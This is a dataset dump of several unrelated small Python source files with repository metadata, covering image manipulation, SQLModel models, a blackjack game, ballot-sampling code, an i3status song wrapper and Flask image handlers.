save(self, file_name: str) -> None:\n        \"\"\"\n        save image to file\n        :param file_name: name of file to save\n        \"\"\"\n        self._pil_image.save(file_name)\n\n    def copy(self) -> 'Picture':\n        \"\"\"\n        Makes a copy of the picture\n\n        :return: The copy\n        :rtype: Picture\n        \"\"\"\n        return Picture(self._pil_image.copy())\n\n    def resize(self, height: int, width: int) -> 'Picture':\n        \"\"\"\n        Write better docstring\n\n        :param int height:\n        :param int width:\n        :return:\n        \"\"\"\n        height = int(height)\n        width = int(width)\n        new_image = self._pil_image.resize((width, height))\n        return Picture(new_image)\n\n    def map(self, transform: Transform, left_top: Point = (0, 0),\n            right_bottom: Point = (1000000, 1000000)) -> 'Picture':\n        \"\"\"\n        Write better docstring\n\n        :param transform:\n        :param Point left_top:\n        :param Point right_bottom:\n        :return:\n        \"\"\"\n        left: int = int(left_top[0])\n        top: int = int(left_top[1])\n        right: int = int(right_bottom[0])\n        bottom: int = int(right_bottom[1])\n        if left > right:\n            (right, left) = (left, right)\n        if top > bottom:\n            (top, bottom) = (bottom, top)\n        if left < 0:\n            left = 0\n        if right > self.width:\n            right = self.width\n        if top < 0:\n            top = 0\n        if bottom > self.height:\n            bottom = self.height\n        copy = self.copy()\n        pixel_access: PixelAccess = copy.__pixel_access  # pylint: disable=protected-access\n        for j in range(top, bottom):\n            for i in range(left, right):\n                index: Point = (i, j)\n                pixel_info = PixelInfo(index, rgb=pixel_access[index])\n                color_out: colors.Color = transform(pixel_info)\n                pixel_access[index] = color_out.rgb\n        return copy\n\n    def remap(self, transform: Transform2, color: Color = Colors.black) -> 'Picture':\n        \"\"\"\n        Write better docstring\n\n        :param transform:\n        :param Color color:\n        :return:\n        \"\"\"\n        width = self.width\n        height = self.height\n        target = Picture.make_empty(width, height, color)\n        target_pixel_access: PixelAccess = target.__pixel_access  # pylint: disable=protected-access\n        self_pixel_access: PixelAccess = self.__pixel_access\n        for j in range(0, height):\n            for i in range(0, width):\n                index_in: Point = (i, j)\n                tuple_in: PixelInfoTuple = (index_in, Color.unpack(self_pixel_access[index_in]))\n                tuple_out: PixelInfoTuple = transform(tuple_in)\n                ((target_x, target_y), rgb_out) = tuple_out\n                target_pixel_access[target_x % width, target_y % height] = Color.clamp(rgb_out)\n        return target\n\n    def combine(self, pixel_combine: Combine, other: 'Picture', resize=False) -> 'Picture':\n        \"\"\"\n        Writie better docstring\n\n        :param pixel_combine:\n        :param Picture other:\n        :param bool resize:\n        :return:\n        :rtype: Picture\n        \"\"\"\n        copy = self.copy()\n        if resize:\n            if (not copy.height == other.height) or (not copy.width == other.width):\n                other = other.resize(copy.height, copy.width)\n        pixel_access: PixelAccess = copy.__pixel_access  # pylint: disable=protected-access\n        other_pixel_access: PixelAccess = other.__pixel_access  # pylint: disable=protected-access\n        for j in range(copy.height):\n            for i in range(copy.width):\n                index: Point = (i, j)\n                pixel_info = PixelInfo(index, rgb=pixel_access[index])\n                other_pixel_info = PixelInfo(index, rgb=other_pixel_access[index])\n                color_out: colors.Color = pixel_combine(pixel_info, other_pixel_info)\n                pixel_access[index] = color_out.rgb\n        return copy\n\n    def map_if(self, predicate: Predicate, transform: Transform) -> 'Picture':\n        \"\"\"\n        Write better docstring\n\n        :param predicate:\n        :param transform:\n        :return:\n        :rtype: Picture\n        \"\"\"\n        copy = self.copy()\n        pixel_access: PixelAccess = copy.__pixel_access  # pylint: disable=protected-access\n        for j in range(copy.height):\n            for i in range(copy.width):\n                index: Point = (i, j)\n                pixel_info = PixelInfo(index, rgb=pixel_access[index])\n                if predicate(pixel_info):\n                    color_out: colors.Color = transform(pixel_info)\n                    pixel_access[index] = color_out.rgb\n        return copy\n\n    def replace_if(self, predicate: Predicate, other: 'Picture',\n                   resize=False) -> 'Picture':\n        \"\"\"\n        Write better docstring\n\n        :param predicate:\n        :param other:\n        :param bool resize:\n        :return:\n        :rtype: Picture\n        \"\"\"\n        copy = self.copy()\n        if resize:\n            if (not copy.height == other.height) or (not copy.width == other.width):\n                other = other.resize(copy.height, copy.width)\n        pixel_access: PixelAccess = copy.__pixel_access  # pylint: disable=protected-access\n        other_pixel_access: PixelAccess = other.__pixel_access  # pylint: disable=protected-access\n        for j in range(copy.height):\n            for i in range(copy.width):\n                index: Point = (i, j)\n                pixel_info = PixelInfo(index, rgb=pixel_access[index])\n                if predicate(pixel_info):\n                    pixel_access[index] = other_pixel_access[index]\n        return copy\n","repo_name":"paulbuis/MediaComp","sub_path":"MediaComp/pictures.py","file_name":"pictures.py","file_ext":"py","file_size_in_byte":29739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27636374852","text":"from __future__ import annotations\n\nfrom typing import Optional\n\nfrom sqlalchemy import ForeignKey\nfrom sqlalchemy.inspection import inspect\nfrom sqlalchemy.orm import relationship\nfrom sqlmodel import Field, Relationship, SQLModel, create_engine\n\n\nclass Base(SQLModel):\n    __repr_exclude__ = None\n    __args_memo__ = None\n\n    def __repr_args__(self) -> list[Tuple[str, Any]]:\n        cls = type(self)\n        if cls.__args_memo__ is None:\n            if cls.__repr_exclude__ is None:\n                rels = inspect(cls).relationships.keys()\n                fks = [fk.parent.name.rstrip(\"_id\") for fk in cls.__table__.foreign_keys]\n                cls.__repr_exclude__ = [k for k in rels if k in fks]\n            cls.__args_memo__ = [(k, v) for k, v in super().__repr_args__() if k not in cls.__repr_exclude__]\n        return cls.__args_memo__\n\n\nclass Caca(Base, table=True):\n    __tablename__ = \"cacas\"\n    id: Optional[int] = Field(default=None, primary_key=True, index=True)\n    description: str = Field(index=True)\n    shengbing_id: int = Field(default=None, foreign_key=\"shengbings.id\")\n    shengbing: ShengBing = Relationship(\n        back_populates=\"cacas\", sa_relationship_kwargs={\"uselist\": False}\n    )\n\n\nclass ShengBing(Base, table=True):\n    __tablename__ = \"shengbings\"\n    id: Optional[int] = Field(default=None, primary_key=True, index=True)\n    severity: str = Field(index=True)\n    cacas: list[Caca] = Relationship(back_populates=\"shengbing\")\n    erzi: ErZi = Relationship(\n        back_populates=\"shengbing\", sa_relationship_kwargs={\"uselist\": False}\n    )\n\n\nclass ErZi(Base, table=True):\n    __tablename__ = \"erzis\"\n    id: Optional[int] = Field(default=None, primary_key=True, index=True)\n    name: str = Field(index=True)\n    shengbing_id: int = Field(default=None, foreign_key=\"shengbings.id\")\n    shengbing: ShengBing = Relationship(\n        back_populates=\"erzi\", sa_relationship_kwargs={\"uselist\": False}\n    )\n\n\nengine = create_engine(\"sqlite:///example.db\")\n\nif __name__ == \"__main__\":\n    parser = ArgumentParser()\n    parser.add_argument(\"-c\", \"--create\", action=\"store_true\")\n    args = parser.parse_args()\n\n    if args.create:\n        Base.metadata.create_all(engine)\n","repo_name":"verdude/shengbing","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74219000101","text":"import sys\nsys.stdin = open(\"input.txt\", \"r\")\ninput = sys.stdin.readline\n\nstack=[]\npoint=-1\n\ndef cal(fun, n):\n    global point\n    global stack\n    if fun=='push':\n        stack.append(n)\n        point= point+1\n    elif fun=='pop':\n        if len(stack)==0:\n            print(-1)\n        else:\n            print(stack.pop())\n            point=point-1\n    elif fun=='size':\n        print(len(stack))\n    elif fun=='empty':\n        if len(stack) == 0:\n            print(1)\n        else:\n            print(0)\n    elif fun=='top':\n        if len(stack)==0:\n            print(-1)\n        else:\n            print(stack[len(stack)-1])\nc=int(input())\n\nfor i in range(c):\n    sentence = input().split()\n    if len(sentence)==2:\n        cal(sentence[0], int(sentence[1]))\n    elif len(sentence)==1:\n        cal(sentence[0], 0)","repo_name":"JangJaeuk/BOJ","sub_path":"BOJ/SILVER/4/스택/10828.py","file_name":"10828.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21050410187","text":"import random\n\n# creating deck of cards and shuffling it\ncard_categories = ['Hearts', 'Clubs', 'Diamonds', 'Spades']\ncard_list = ['A', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K']\n\ndef start_game():\n    # shuffles the deck\n    deck = [(card, category) for category in card_categories for card in card_list]\n    random.shuffle(deck)\n\n    # while loop to get all players\n    sign_up_list = []\n    add_player = True\n\n    while add_player:\n        name = input('Enter your name: ')\n        sign_up_list.append(name)\n        \n        answer = input('\\nIs there another player (y/n)? ')\n        if answer.lower().startswith('y'):\n            print()\n            continue\n        else:\n            add_player = False\n    print(f'\\nNumber of players: {len(sign_up_list)}')\n\n\n    # creating dict objects for each player\n    players = []\n    for player in sign_up_list:\n            players.append(\n                {\n                    \"Name\": player,\n                    \"Hand\": [],\n                    \"Hand2\": [],\n                    \"Natural\": False,\n                    \"Natural2\": False,\n                    \"Insurance\": False,\n                    \"Split\": False,\n                    \"DoubleDown\": False,\n                    \"Surrender\": False\n                }\n            )\n    \n    # creating a dealer object\n    players.append(\n        {\n            \"Name\": \"Dealer\",\n            \"Hand\": [],\n            \"Natural\": False\n        }\n    )\n    \n    # dealing two cards to each player and dealer\n    for i in range(2):\n        for person in players:\n            person[\"Hand\"].append(deck.pop(0))\n    \n    return players, deck\n\n# checks dealer's up card for possible insurance or natural blackjack\ndef check_face_up(player):\n    if player[\"Hand\"][0][0] == \"A\":\n        return \"A\"\n    elif player[\"Hand\"][0][0] in ['10', 'J', 'Q', 'K']:\n        return \"ten-card\"\n    else:\n        return False\n\n# checks if the current player is a dealer\ndef isDealer(player):\n    if player[\"Name\"] == 'Dealer':\n        return True\n    else:\n        return False\n\n# revealing deals\ndef display_hand(player, reveal=False):\n    if not isDealer(player):\n        for card in player['Hand']:\n            print(card)\n    else:\n        if reveal:\n            print('\\nDealer\\'s cards are: ')\n            for card in player['Hand']:\n                print(card)\n        else:\n            print(f\"\\nDealer's cards:\\n{player['Hand'][0]}\\nUnknown\")\n\n# creates list to iterate through each hand if player chose to split\ndef split_creation(player):\n    if player[\"Split\"]:\n        both_hands = [{\"Which Hand\": k, \"Hand\": player[k]} for k in player if k == \"Hand\" or k == \"Hand2\"]\n        return both_hands\n    else:\n        return\n\n# deals extra card\ndef hit(player_hand, deck: list):\n    player_hand.append(deck.pop(0))\n\n# get total value of deal\ndef get_total(player):\n    card_list = [card[0] for card in player[\"Hand\"]]\n    # ace moved to last to better sum total of deal and determine soft value\n    if 'A' in card_list:\n        card_list.append(card_list.pop(card_list.index('A')))\n    total = 0\n    for card in card_list:\n        # A = 1 or 11\n        if card == 'A':\n            # for dealers if an 11 Ace gets them a bust deal, then Ace becomes 1\n            if isDealer(player) and total + 11 > 21:\n                total += 1\n            elif isDealer(player) and 17 <= total + 11 <= 21:\n                total += 11\n            # ace will always be 11 unless the total value is over 21,\n            # then treated as 1\n            elif not isDealer(player) and total + 11 > 21:\n                total += 1\n            else:\n                total+= 11\n        # 2-9\n        elif '2' <= card <= '9':\n            total += int(card)\n        # 10-K\n        else:\n            total += 10 \n    return total\n\n# player takes their turn\ndef player_turn(player, deck):\n    # checks if player chose the option to split their pair\n    if player[\"Split\"]:\n        both_hands = split_creation(player)\n        # if player chose to split pair and both pairs were Aces, player is dealt one card for each hand\n        if both_hands[0][\"Hand\"][0][0] == \"A\" and both_hands[1][\"Hand\"][0][0] == \"A\":\n            print(f'\\n{player[\"Name\"]}, you drew two aces and decided to split. You will be dealt only one extra card.')\n            for hand in both_hands:\n                print(f'\\n{player[\"Name\"]}, dealer is now dealing to {hand[\"Which Hand\"]}')\n                hit(hand[\"Hand\"], deck)\n                print(f'\\n{player[\"Name\"]}, here is your new hand:')\n                for card in hand[\"Hand\"]:\n                    print(card)\n                if get_total(hand) == 21:\n                    print('\\nWow you got a blackjack! Lucky Lucky.')\n        # if pairs aren't Aces, dealer will deal to each hand normally\n        else:\n            for hand in both_hands:\n                print(f'\\n{player[\"Name\"]}, dealer is now dealing to {hand[\"Which Hand\"]}')\n                hit(hand[\"Hand\"], deck)\n                print(f'\\n{player[\"Name\"]}, here is your new hand:')\n                for card in hand[\"Hand\"]:\n                    print(card)\n                # Automatically end the player's turn if they draw a natural hand without splitting Aces\n                if get_total(hand) == 21:\n                    print('\\nYou got blackjack!')\n                    continue\n                while True:\n                    option = input('\\nDo you want to stand or hit? ')\n                    # ends player's turn if they decide to stand\n                    if option.lower() == 'stand':\n                        break\n                    # draws another card if player decides to hit\n                    elif option.lower() == 'hit':\n                        hit(hand[\"Hand\"], deck)\n                        print(f'\\n{player[\"Name\"]}, here is your new hand:')\n                        for card in hand[\"Hand\"]:\n                            print(card)\n                        # Automatically end the player's turn if they draw a blackjack or bust\n                        if get_total(hand) == 21:\n                            print('\\nYou got blackjack!')\n                            break\n                        elif get_total(hand) > 21:\n                            print('\\nBusted. You lose.')\n                            break\n                        else:\n                            continue\n                    else:\n                        print('\\nThat is not one of the options. Please try again.')\n        # updates players hands after their turn is over\n        player[\"Hand\"] = both_hands[0][\"Hand\"]\n        player[\"Hand2\"] = both_hands[1][\"Hand\"]\n    elif player[\"DoubleDown\"]:\n        print(f'\\n{player[\"Name\"]} the dealer will add one card, faced down, to your hand')\n        hit(player[\"Hand\"], deck)\n    # if player didn't split pair or double down, play their turn normally\n    else:\n        while True:\n            option = input('\\nDo you want to stand or hit? ')\n            # ends player's turn if they decide to stand\n            if option.lower() == 'stand':\n                break\n            # draws another card if player decides to hit\n            elif option.lower() == 'hit':\n                hit(player[\"Hand\"], deck)\n                print(f'\\n{player[\"Name\"]}, here is your new hand:')\n                display_hand(player)\n                # Automatically end the player's turn if they draw a blackjack or bust\n                if get_total(player) == 21:\n                    print('\\nYou got blackjack!')\n                    break\n                elif get_total(player) > 21:\n                    print('\\nBusted. You lose.')\n                    break\n                else:\n                    continue\n            else:\n                print('\\nThat is not one of the options. Please try again.')\n\n# dealer takes his turn\ndef dealer_turn(dealer, deck:list):\n    if dealer[\"Natural\"]:\n        return\n    else:\n        while True:\n            if get_total(dealer) < 17:\n                hit(dealer[\"Hand\"], deck)\n            elif 17<= get_total(dealer) <= 21:\n                if get_total(dealer) == 21:\n                    print('\\nDealer drew a blackjack!')\n                    break\n                else:\n                    break\n            else:\n                break\n        display_hand(dealer, reveal=True)\n\n# shows the results of the cards dealt to each person\ndef get_result(players):\n    for player in players:\n        if isDealer(player):\n            break\n        # if the dealer has a natural blackjack\n        elif players[-1][\"Natural\"]:\n            continue\n        # if dealer doesn't have natural blackjack\n        elif not players[-1][\"Natural\"]:\n            # checks if player decided to split their hand\n            if player[\"Split\"]:\n                both_hands = split_creation(player)\n                # if both player's split hands are naturals skip\n                if player[\"Natural\"] and player[\"Natural2\"]:\n                    continue\n                # if the first split hand is a natural but the second isn't\n                elif player[\"Natural\"] and not player[\"Natural2\"]:\n                    print(f'\\n{player[\"Name\"]}, your first hand turned out to be a natural hand, but your second didn\\'t.')\n                    print(f'\\nLet\\'s see how your second hand performed.')\n                    if get_total(both_hands[1]) > 21:\n                        continue\n                    if get_total(players[-1]) > 21:\n                        print(f'\\n{player[\"Name\"]}, you won! The dealer dealt a bust.')\n                    elif get_total(both_hands[1]) > get_total(players[-1]):\n                        print(f'\\n{player[\"Name\"]}, you won! Your second hand dealt higher than the dealer.')\n                    elif get_total(both_hands[1]) == get_total(players[-1]):\n                        print(f'\\n{player[\"Name\"]}, your second hand drawed with the dealer.')\n                    elif get_total(both_hands[1]) < get_total(players[-1]):\n                        print(f'\\n{player[\"Name\"]}, you lose. Your second hand dealt lower than the dealer.')\n        \n                    print(f'Your deal total: {get_total(both_hands[1])}')\n                    print(f'Dealer\\'s deal total: {get_total(players[-1])}')\n                # if the first split hand is not a natural but the second is\n                elif not player[\"Natural\"] and player[\"Natural2\"]:\n                    print(f'\\n{player[\"Name\"]}, your second hand turned out to be a natural hand, but your first didn\\'t.')\n                    print(f'\\nLet\\'s see how your first hand performed.')\n                    if get_total(both_hands[0]) > 21:\n                        continue\n                    if get_total(players[-1]) > 21:\n                        print(f'\\n{player[\"Name\"]}, you won! The dealer dealt a bust.')\n                    elif get_total(both_hands[0]) > get_total(players[-1]):\n                        print(f'\\n{player[\"Name\"]}, you won! Your first hand dealt higher than the dealer.')\n                    elif get_total(both_hands[0]) == get_total(players[-1]):\n                        print(f'\\n{player[\"Name\"]}, your first hand drawed with the dealer.')\n                    elif get_total(both_hands[0]) < get_total(players[-1]):\n                        print(f'\\n{player[\"Name\"]}, you lose. Your first hand dealt lower than the dealer.')\n        \n                    print(f'Your deal total: {get_total(both_hands[0])}')\n                    print(f'Dealer\\'s deal total: {get_total(players[-1])}')\n                # if neither hand is a natural hand\n                else:\n                    print(f'\\n{player[\"Name\"]}, Let\\'s see how each of your hands performed...')\n                    for hand in both_hands:\n                        if get_total(hand) > 21:\n                            continue\n                        if get_total(players[-1]) > 21:\n                            print(f'\\n{player[\"Name\"]}, you won! The dealer dealt a bust.')\n                        elif get_total(hand) > get_total(players[-1]):\n                            print(f'\\n{player[\"Name\"]}, you won! {hand[\"Which Hand\"]} dealt higher than the dealer.')\n                        elif get_total(hand) == get_total(players[-1]):\n                            print(f'\\n{player[\"Name\"]}, {hand[\"Which Hand\"]} drawed with the dealer.')\n                        elif get_total(hand) < get_total(players[-1]):\n                            print(f'\\n{player[\"Name\"]}, you lose. {hand[\"Which Hand\"]} dealt lower than the dealer.')\n\n                        print(f'Your deal total: {get_total(hand)}')\n                        print(f'Dealer\\'s deal total: {get_total(players[-1])}')\n            # rewards player if they have a natural blackjack\n            elif player[\"Natural\"]:\n                continue\n            # if player chooses to surrender their hand\n            elif player[\"Surrender\"]:\n                print(f'{player[\"Name\"]} surrendered.')\n            # if the current player already lost by drawing a bust\n            elif get_total(player) > 21:\n                continue\n            # compares results of player's hand vs dealer's hand\n            else:\n                if get_total(players[-1]) > 21:\n                    print(f'\\n{player[\"Name\"]}, you won! The dealer dealt a bust.')\n                elif get_total(player) > get_total(players[-1]):\n                    print(f'\\n{player[\"Name\"]}, you won! You dealt higher than the dealer.')\n                elif get_total(player) == get_total(players[-1]):\n                    print(f'\\n{player[\"Name\"]}, you drawed with the dealer.')\n                elif get_total(player) < get_total(players[-1]):\n                    print(f'\\n{player[\"Name\"]}, you lose. You dealt lower than the dealer.')\n        \n                print(f'Your deal total: {get_total(player)}')\n                print(f'Dealer\\'s deal total: {get_total(players[-1])}')\n","repo_name":"randyp03/Blackjack-Game","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":13868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42246461442","text":"from __future__ import division\nimport math\nimport numpy as np\nimport numpy.random\n#from scipy.stats import geom\nfrom cryptorandom.cryptorandom import SHA256\n\n\ndef geometric_skipping(population, p, seed):\n    if isinstance(seed, int):\n        ss = SHA256(seed)\n    else:\n        raise ValueError('%r cannot be used to seed SHA256 instance' % seed)\n    \n    n = len(population)\n    sample = []\n    m = int(n*p)\n#    rvs = geom.rvs(p=p, size=m) # this is what we'd do if we were using numpy.random\n    runifs = ss.random(m)\n    rvs = list(map(lambda u: int(1 + np.log(u)/np.log(1-p)), runifs))\n    val = np.cumsum(rvs)-1\n    for i in range(m):\n        if val[i] < n:\n            sample.append(population[val[i]])\n        else:\n            return sample\n    index = val[-1]\n    while index < (n-1):\n        index += int(1 + np.log(ss.random())/np.log(1-p))\n        if index < n:\n            sample.append(population[index])\n    return sample\n    \n\n\ndef test_transformation():\n    u = np.array(range(100))\n    runifs = u/len(u)\n    np.testing.assert_equal(runifs[0], 0)\n    p = 0.5\n    rvs = list(map(lambda u: int(1 + np.log(u)/np.log(1-p)), runifs[1:]))\n    np.testing.assert_equal(rvs[0], 7) # floor( 1 + ln(0.01)/ln(0.5) )\n    np.testing.assert_equal(rvs[-1], 1) # floor( 1 + ln(0.99)/ln(0.5) )\n\n\ndef test_geometric_generation():\n    ss = SHA256(12345)\n    runifs = ss.random(10000)\n    p = 0.5\n    rvs = list(map(lambda u: int(1 + np.log(u)/np.log(1-p)), runifs))\n    np.testing.assert_almost_equal(np.mean(rvs), 1/p, 1) # expected value of geometric(p)\n    \n    \ndef test_geometric_skipping():\n    population = list(range(100))\n    rvs = [5, 5, 10, 10, 20, 20, 30, 40]\n    val = np.cumsum(rvs)-1 # indices to be chosen. array([  4,   9,  19,  29,  49,  69,  99, 139])\n    n = len(population)\n    m = len(val)\n    sample = []\n    for i in range(m):\n        if val[i] < n:\n            sample.append(population[val[i]])\n        else:\n            break\n    np.testing.assert_equal(sample, val[:-1])\n    \n    sample = []\n    rvs = [5, 5, 10, 10, 20, 20]\n    p = 0.5\n    val = np.cumsum(rvs)-1 # indices to be chosen. array([  4,   9,  19,  29,  49,  69])\n    m = len(val)\n    for i in range(m):\n        if val[i] < n:\n            sample.append(population[val[i]])\n        else:\n            break\n    index = val[-1]\n    while index < (n-1):\n        index += int(1 + np.log(0.5)/np.log(1-p)) # add 2 to index\n        if index < n:\n            sample.append(population[index])\n    np.testing.assert_equal(sample, list(val) + list(range(71, 100, 2)))\n\nif __name__ == \"__main__\":\n    test_transformation()\n    test_geometric_generation()\n    test_geometric_skipping()\n","repo_name":"pbstark/BernoulliBallotPolling","sub_path":"code/geometric_skipping.py","file_name":"geometric_skipping.py","file_ext":"py","file_size_in_byte":2661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4504069435","text":"\"\"\"Sphinx configuration file for an LSST stack package.\n\nThis configuration only affects single-package Sphinx documentation builds.\nFor more information, see:\nhttps://developer.lsst.io/stack/building-single-package-docs.html\n\"\"\"\n\nimport lsst.ts.utils  # noqa\nfrom documenteer.conf.pipelinespkg import *  # type: ignore # noqa\n\nproject = \"ts_utils\"\nhtml_theme_options[\"logotext\"] = project  # type: ignore # noqa\nhtml_title = project\nhtml_short_title = project\n# Avoid warning: Could not find tag file _doxygen/doxygen.tag\ndoxylink = {}  # type: ignore\n","repo_name":"lsst-ts/ts_utils","sub_path":"doc/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70894713704","text":"import requests\nimport time\n\nurl = \"https://api.covid19tracker.ca/summary/split\"\nresponse = requests.get(url)\njs = response.json()\n\nfile = open('provincecodes.txt')\ncodes = file.read()\nfile.close()\nprint(codes)\n\nprovince = input(\"enter a province code: \").upper()\n\nwhile True:\n    if province in codes:\n        for i in js['data']:\n            if i['province'] == province:\n                province_data = i\n        t = time.localtime()\n        current_time = time.strftime(\"%H:%M:%S\", t)                \n        result_date = province_data['date']\n        cases = province_data['total_cases']\n        deaths = province_data['total_fatalities']\n        tests = province_data['total_tests']\n        vaccinations = province_data['total_vaccinations']\n        vaccinated = province_data['total_vaccinated']\n        result = f'{province} covid data:\\ndate: {result_date}\\ntime: {current_time}\\ntotal cases: {cases}\\ntotal deaths: {deaths}\\ntotal tests : {tests} \\ntotal vaccines administered: {vaccinations}\\nnumber of fully vaccinated: {vaccinated}\\n'\n        print(result)\n        with open(f\"./province covid data/{province}coviddata.txt\", \"a\") as f:\n            f.write(result)\n        break\n\n    else:\n        print('enter a valid province code')\n        province = input(\"enter the province code: \").upper()\n","repo_name":"VanshBhandari/covid-tracker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"43202673174","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# This script is a simple wrapper which prefixes each i3status line with custom\n# information. It is a python reimplementation of:\n# http://code.stapelberg.de/git/i3status/tree/contrib/wrapper.pl\n#\n# To use it, ensure your ~/.i3status.conf contains this line:\n#     output_format = \"i3bar\"\n# in the 'general' section.\n# Then, in your ~/.i3/config, use:\n#     status_command i3status | ~/.i3/contrib/mplayer-wrapper.py\n# In the 'bar' section.\n#\n# In its previous version it would display the cpu frequency governor, but you\n# are free to change it to display whatever you like, see the comment in the\n# source code below.\n#\n# © 2012 Valentin Haenel <valentin.haenel@gmx.de>\n#\n# In its current version, it will display what mplayer is playing by extracting\n# song title from ICY Info lines written to a specific file stored whose path\n# is stored in METADATA_FILE variable.\n# To use it, ensure to output mplayer's ICY Info line to METADATA_FILE (see below).\n# I used the following script to launch mplayer:\n#     METADATA_FILE=/tmp/mplayer.data\n#     [ -f $METADATA_FILE ] && rm -f $METADATA_FILE\n#     mplayer -playlist foo.m3u | stdbuf -o L grep ICY > $METADATA_FILE\n#     [ -f $METADATA_FILE ] && rm -f $METADATA_FILE\n#\n# © 2015 Mathieu Soula aka rid  <msoula@gmx.com>\n#\n# This program is free software. It comes without any warranty, to the extent\n# permitted by applicable law. You can redistribute it and/or modify it under\n# the terms of the Do What The Fuck You Want To Public License (WTFPL), Version\n# 2, as published by Sam Hocevar. See http://sam.zoy.org/wtfpl/COPYING for more\n# details.\n\nimport re\nimport os.path\nimport sys\nimport json\n\nMETADATA_FILE='/tmp/mplayer.data'\nSONG_COLOR='#6780fb'\nNOSONG_COLOR='#ffffff'\nNOSONG_MSG='No Song Played'\n\ndef get_song(f):\n    \"\"\" Read last line of given file which contains Mplayer's ICY Info data\n        This line contains dictionary entry StreamTitle that is returned if found \"\"\"\n    try:\n        with open(METADATA_FILE) as fp:\n            line = fp.readlines()[-1].strip()\n            info = line.split(':', 1)[1].strip()\n            attrs = dict(re.findall(\"(\\w+)='([^']*)'\", info))\n            return attrs.get('StreamTitle', None)\n    except IndexError:\n        return None\n    except IOError:\n        return None\n\n\ndef print_line(message):\n    \"\"\" Non-buffered printing to stdout. \"\"\"\n    sys.stdout.write(message + '\\n')\n    sys.stdout.flush()\n\ndef read_line():\n    \"\"\" Interrupted respecting reader for stdin. \"\"\"\n    # try reading a line, removing any extra whitespace\n    try:\n        line = sys.stdin.readline().strip()\n        # i3status sends EOF, or an empty line\n        if not line:\n            sys.exit(3)\n        return line\n    # exit on ctrl-c\n    except KeyboardInterrupt:\n        sys.exit()\n\nif __name__ == '__main__':\n    # Skip the first line which contains the version header.\n    print_line(read_line())\n\n    # The second line contains the start of the infinite array.\n    print_line(read_line())\n\n    while True:\n        line, prefix = read_line(), ''\n        # ignore comma at start of lines\n        if line.startswith(','):\n            line, prefix = line[1:], ','\n\n        j = json.loads(line)\n\n        # insert information into the start of the json, but could be anywhere\n        if os.path.exists(METADATA_FILE):\n            song = get_song(METADATA_FILE)\n            if song is not None:\n                j.insert(0, {'full_text' : '%s' % song, 'name' : 'song', 'color' : SONG_COLOR})\n            else:\n                j.insert(0, {'full_text' : NOSONG_MSG, 'name' : 'song', 'color' : NOSONG_COLOR})\n        else:\n            j.insert(0, {'full_text' : NOSONG_MSG, 'name' : 'song', 'color' : NOSONG_COLOR})\n\n        # and echo back new encoded json\n        print_line(prefix+json.dumps(j))\n\n","repo_name":"msoula/i3status-mplayer-wrapper","sub_path":"mplayer-wrapper.py","file_name":"mplayer-wrapper.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"18217568669","text":"import flask\n\nfrom app import app, db\nfrom models import Image\nfrom plot import plot_data\n\n\n@app.route(\"/images\")\ndef list_images():\n    return {\n        \"result\": \"success\",\n        \"images\": Image.query.all(),\n    }\n\n\n@app.route(\"/images/<image_id>/meta\")\ndef get_image_metadata(image_id):\n    image = Image.query.filter_by(id=image_id).first()\n    if not image:\n        return {\n            \"result\": \"error\",\n            \"message\": f\"can't find image with ID {image_id}\"\n        }, 404\n    else:\n        return {\n            \"result\": \"success\",\n            \"image\": image,\n        }\n\n\n@app.route(\"/images/<image_id>/meta\", methods=[\"POST\"])\ndef update_image_metadata(image_id):\n    cell_width = flask.request.json.get(\"cell_width\")\n    if not cell_width:\n        return {\n            \"result\": \"error\",\n            \"message\": \"cell_width is a required parameter\",\n        }, 400\n\n    num_updated_rows = (\n        Image.query\n            .filter_by(id=image_id)\n            .update({Image.cell_width: cell_width}))\n    db.session.commit()\n    if num_updated_rows == 0:\n        return {\n            \"result\": \"error\",\n            \"message\": f\"could not find image with ID {image_id}\"\n        }, 404\n\n    return {\"result\": \"success\"}\n\n\n@app.route(\"/images/<image_id>\", methods=[\"GET\"])\ndef get_image(image_id):\n    return flask.send_from_directory(app.config[\"IMAGE_DIR\"], image_id)\n\n\n@app.route(\"/plot\", methods=[\"POST\"])\ndef launch_plot():\n    plot_data(flask.request.json)\n    return {\"result\": \"success\"}\n","repo_name":"itsjohncs/shmeppy-cellwidth-test-server","sub_path":"handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
